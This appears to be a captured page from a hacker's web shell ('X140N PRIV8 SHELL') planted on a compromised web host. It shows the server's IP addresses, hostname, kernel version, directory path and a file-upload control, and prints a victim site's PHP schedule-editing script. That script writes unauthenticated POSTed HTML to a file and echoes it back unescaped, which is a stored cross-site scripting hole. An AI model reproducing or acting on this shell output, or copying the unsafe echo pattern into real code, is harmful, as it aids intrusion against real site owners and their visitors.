./X140N PRIV8 SHELL
:
216.73.216.124
:
188.40.95.74 / mail.vlasotince.tv
:
Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
:
/
home
/
vlasotin
/
.trash
/
Upload File:
files >> /home/vlasotin/.trash/1.php
<div class="theiaStickySidebar"> <div class="panel_inner"> <!-- <div><iframe width="690" height="390" src="https://rtsp.me/embed/ANN6K2EQ/" frameborder="0" allowfullscreen></iframe> --> <div class="panel_header"> <h4><strong>Vlasotince TV</strong> uživo </h4> </div> <div class="post_details_block"> <div class="typography-content"> <?php session_start(); // Funkcija koja prepravlja listu prema ključnim rečima function prepravi_listu($ulazna_lista) { $prepravke = [ 'bp' => 'Buzetski ponedeljak', // Ključna reč "bp" prepravlja na "Buzetski ponedeljak" 'Moda STILL' => 'Moda i STILL', // Ključna reč "Moda STILL" prepravlja sve varijante sa ovim pojmom 'AgroJug' => 'AgroJug', 'Putujte sa nama' => 'Putujte sa nama', 'LH DESTINACIJA' => 'Life and Holiday', 'FLES' => 'SHOW time', 'Serija' => 'Serija', 'Crveni Krug' => 'Crveni Krug', 'DS9' => 'Star Trek: Deep Space Nine', 'LIFE AND HOLIDAY MAGAZIN HD' => 'LIFE AND HOLIDAY MAGAZIN HD', 'Crtani film' => 'Crtani film', 'SVET POLJOPRIVREDE' => 'SVET POLJOPRIVREDE', 'Vino i vinogradarstvo' => 'Vino i vinogradarstvo', 'FILM' => 'FILM', 'PET FRIENDLY' => 'PET FRIENDLY', 'Amadeus' => 'Muzicki program', ]; // Dodaj ostale prepravke po potrebi ]; $izlazna_lista = []; foreach ($ulazna_lista as $stavka) { $datum = $stavka['date']; $vreme = $stavka['time']; $naslov = $stavka['title']; foreach ($prepravke as $kljuc => $ispravka) { if (strpos($naslov, $kljuc) !== false) { $naslov = $ispravka; break; } } $izlazna_lista[] = [ 'date' => $datum, 'time' => $vreme, 'title' => $naslov, ]; } return $izlazna_lista; } // Putanja do fajla u kojem ćemo čuvati podatke $file_path = 'lista_data.html'; // promeni ekstenziju u .html zbog formatiranja // Provera da li je forma poslata if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['html_table'])) { $html_input = $_POST['html_table']; $_SESSION['html_table'] = $html_input; // Čuva unos u sesiju $html_input = '<table>' . $html_input . '</table>'; // Dodavanje oznaka za tabelu file_put_contents($file_path, $html_input); // Čuvanje unosa u fajl // Parsiranje HTML tabele u listu $dom = new DOMDocument(); @$dom->loadHTML($html_input); $rows = $dom->getElementsByTagName('tr'); $neispravna_lista = []; foreach ($rows as $row) { $cells = $row->getElementsByTagName('td'); if ($cells->length === 3) { $neispravna_lista[] = [ 'date' => trim($cells->item(0)->nodeValue), 'time' => trim($cells->item(1)->nodeValue), 'title' => trim($cells->item(2)->nodeValue), ]; } } // Prikaz naslova sa trenutnim danom u nedelji i datumom setlocale(LC_TIME, 'sr_RS.UTF-8'); $datum = strftime('%A %d.%m.%Y'); echo "<h3><b>PROGRAMSKA ŠEMA za $datum</b></h3>"; // Prepravka liste $ispravna_lista = prepravi_listu($neispravna_lista); // Prikaz prepravljene liste echo '<table border="1" style="border-collapse: collapse; border-spacing: 20px; line-height: 1,5;">'; // `line-height` za razmak između redova echo '<tr><th>Date</th><th>Time</th><th>Title</th></tr>'; foreach ($ispravna_lista as $stavka) { echo '<tr>'; echo '<td>' . htmlspecialchars($stavka['date']) . '</td>'; echo '<td>' . htmlspecialchars($stavka['time']) . '</td>'; echo '<td>' . htmlspecialchars($stavka['title']) . '</td>'; echo '</tr>'; } echo '</table>'; } // Učitavanje i prikazivanje liste iz fajla ako postoji if (file_exists($file_path)) { $html_input = file_get_contents($file_path); // Prikaz sadržaja kao HTML direktno iz fajla sa razmakom između kolona echo '<div style="border-collapse: collapse; border-spacing: 20px;">'; // Dodaje razmak između kolona echo $html_input; echo '</div>'; } ?> <!-- HTML Forma za unos tabele --> <form method="post"> <textarea name="html_table" rows="40" cols="40" placeholder="Unesi neispravnu listu u HTML formatu ovde"></textarea><br> <button type="submit">Prepravi Listu</button> </form> <!-- HTML Forma za unos tabele --> <form method="post"> <textarea name="html_table" rows="1" cols="1" placeholder="Unesi neispravnu listu u HTML formatu ovde"></textarea><br> <button type="submit">PL</button> </form> </div> </div> </div> </div>
Copyright © 2022 F4D3D GH05TS BANGLADESH | All Rights Reserved